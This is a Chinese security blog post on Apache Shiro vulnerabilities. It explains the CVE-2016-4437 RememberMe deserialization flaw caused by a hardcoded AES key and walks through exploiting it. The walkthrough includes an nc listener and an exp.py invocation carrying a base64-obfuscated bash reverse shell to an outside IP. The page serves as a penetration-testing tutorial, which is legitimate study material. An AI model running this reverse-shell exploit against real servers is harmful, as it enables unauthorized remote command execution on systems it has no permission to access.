Apache Shiro系列漏洞利用以及实战总结

这篇博客详细介绍了Apache Shiro框架中多个安全漏洞,包括RememberMe RCE、远程安全限制绕过、Padding Oracle Attack RCE等,涉及CVE-2016-4437、CVE-2016-6802、CVE-2019-12422等多个CVE编号。文章讲解了漏洞原理、影响版本及如何利用这些漏洞进行攻击,还提供了漏洞利用的步骤和工具,最后总结了Shiro指纹识别和资产收集的方法。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

前言:

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。内置了可以连接大量安全数据源(又名目录)的Realm,如LDAP、关系数据库(JDBC)、类似INI的文本配置资源以及属性文件等。

目录

RememberMe RCE-550(CVE-2016-4437)

远程安全限制绕过漏洞(CVE-2016-6802)

Padding Oracle Attack RCE-721(CVE-2019-12422)

Shiro搭配spring时身份验证绕过漏洞分析(CVE-2020-1957)

Apache Shiro 628权限绕过漏洞 (CVE-2020-2957)

Apache Shiro权限绕过漏洞分析(CVE-2020-11989)

Apache Shiro 权限绕过漏洞(CVE-2020-13933)

总结

1、Shiro指纹识别

2、资产收集


RememberMe RCE-550(CVE-2016-4437

漏洞详情:

Apache Shiro框架提供了记住我(RememberMe)的功能,关闭浏览器再次访问时无需再登录即可访问。shiro默认使用CookieRememberMeManager,对rememberMe的cookie做了加密处理,在CookieRememberMeManaer类中将cookie中rememberMe字段内容先后进行序列化、AES加密、Base64编码操作。服务器端识别身份解密处理cookie的流程则是: 

获取rememberMe cookie ->base64 解码->AES解密(加密密钥硬编码)->反序列化(未作过滤处理)。但是AES加密的密钥Key被硬编码(密钥初始就被定义好不能动态改变的)在代码里,这就意味着每个人通过源代码都能拿到AES加密的密钥。因此,攻击者可以构造一个恶意的对象,并且对其序列化、AES加密、base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终就造成了反序列化的RCE漏洞。只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都可能会导致该漏洞的产生.硬编码是将数据直接嵌入到程序或其他可执行对象的源代码中。如果在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段,那么就可能存在此漏洞。

漏洞影响:

Apache Shiro <= 1.2.4

漏洞利用:

  1. 访问存在漏洞的网站,勾选Remenber me,输入账号:admin密码:123456
  2. 提交表单的同时进行抓包,返回包中存在Set-Cookie: rememberMe=deleteMe

3.将反弹shell命令放到 http://www.jackson-t.ca/runtime-exec-payloads.html 进行编码转换

4.nc监听4444端口

nc -lvpp 4444

5.使用shiro_exp.py执行bash反弹shell命令

python2 .\exp.py -t 3 -u http://xx.xx.xx.xx:8080/login -p ' bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8yNy4xNTUuODcuODkvMzI0NjAgMD4mMQ==}|{base64,-d}|{bash,-i}'

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值